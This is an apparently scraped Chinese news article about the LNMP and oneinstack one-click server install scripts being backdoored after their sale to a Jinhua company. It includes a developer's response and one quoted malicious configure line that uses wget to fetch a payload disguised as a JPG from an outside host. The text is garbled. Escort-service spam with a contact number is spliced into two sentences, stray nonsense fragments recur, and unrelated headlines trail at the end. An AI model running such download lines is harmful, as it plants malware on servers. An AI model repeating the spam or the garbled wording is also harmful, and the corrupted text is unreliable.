9 月下旬，繼L建議腳本國內安全公司發現知名 Web 集成環境安裝腳本 “lnmp 一鍵安裝包” 被投毒，后后門開發者、也被用戶用類杭州蕭山同城美女約炮上門服務vx《192-1819-1410》提供外圍女上門服務快速選照片快速安排不收定金面到付款30分鐘可到達站長、添加企業 IT 管理員下載的程序一鍵安裝包被加了后門程序。

當時我們都以為這是不使 LNMP 一鍵安裝包的服務器被黑了 (LNMP.org)，不過后來有網友發現 LNMP 一鍵安裝包已經被金華市矜貴網絡科技有限公司 (下稱金華矜貴) 收購。藍點

而關于安裝包被投毒問題金華矜貴沒有發布任何聲明，繼L建議腳本LNMP 論壇的后后門杭州蕭山同城美女約炮上門服務vx《192-1819-1410》提供外圍女上門服務快速選照片快速安排不收定金面到付款30分鐘可到達發帖也遭到管理員刪除。

現在來看這并不是也被用戶用類服務器被黑了，因為被金華矜貴收購的添加另一個集成環境安裝腳本 oneinstack 也被發現投毒，所以情況很明了了：那就是程序根本不是服務器被黑，而是不使他們自己在腳本里插入了惡意代碼，用來下載某些惡意軟件，藍點進而可以控制大量網站或服務器，繼L建議腳本但具體目的尚不清楚。

目前在 GitHub 和 V2EX 上已經有帖子在討論這件事，鑒于金華矜貴還試圖收購秋水逸冰的 lamp.sh 一鍵安裝包 (但被秋大拒絕了)，他們后續可能還會盯上其他一鍵安裝包，因此建議大家不要再使用這類一鍵安裝包，否則自己的網站或服務器可能也會變成肉雞。

更新：oneinstack 開發者回應稱：金華市矜貴網絡科技有限公司收購現有的幾個面板以及安裝包主要是為了布局類似寶塔的產品。想依賴 oneinstack 打開知名度。公司作為項目的投資商。協商的協議為公司為項目提供開發資金，并提供所有服務器資源。但是項目的管理權限以及運維權限都在我手中。目前各位開發者的精力主要是進行新的面板開發，對于出現本次被掛馬事故主要原因在于我們沒有對項目進行及時的管理。后續會加強安全措施。杜絕該問題的出現。

惡意代碼藏在圖片里：

pcre-8.45/configure:wget -q -nv http://download.oneinstack.club/osk.jpg -cO /var/local/osk.jpg

詳細請看 GitHub 討論：https://github.com/oneinstack/oneinstack/issues/511

• ·天生一隊 不賤不散！《死侍與金剛狼》x《漫威終極逆轉》限時聯動開啟
• ·華為智慧屏V98、華為智慧屏V75 Super7月29日發布
• ·中國手機市場4月受挫 出貨同比下降34.1%至2748.6萬部
• ·中國駕駛摹擬足機游戲保舉 復本真正在皆會輿圖
• ·《巫師3：狂獵》和《賽博朋克2077》仍有彩蛋可供玩家尋找
• ·科技早報 華為智慧屏等新品正式發布/智能投影銷量大漲/傳蘋果或與LG合作造車
• ·Waymo無人駕駛出租車諜照 由吉利旗下極氪品牌打造
• ·第22屆中國專利金獎：海爾智家、美的、格力累計TOP3
• ·開放世界動作角色扮演《浪人崛起》PS5免費試玩版推出
• ·領先進入決策智能！海爾智家獨家發布智能家居行業5級路線圖
• ·五菱全新MPV專利圖曝光 全新設計風格/配備側滑門
• ·2020沈陽北陵公園門票代價多少錢
• ·《小龍斯派羅三部曲》9月下旬上線 可切換音軌
• ·KiWi EV"草莓熊"新車亮相 推出購車寵粉福袋
• ·夢回大年夜理！《天龍八部足游》“緣起大年夜理”版本嫡公布
• ·第四個“五年計劃”啟動！卡薩帝舍老路，走新路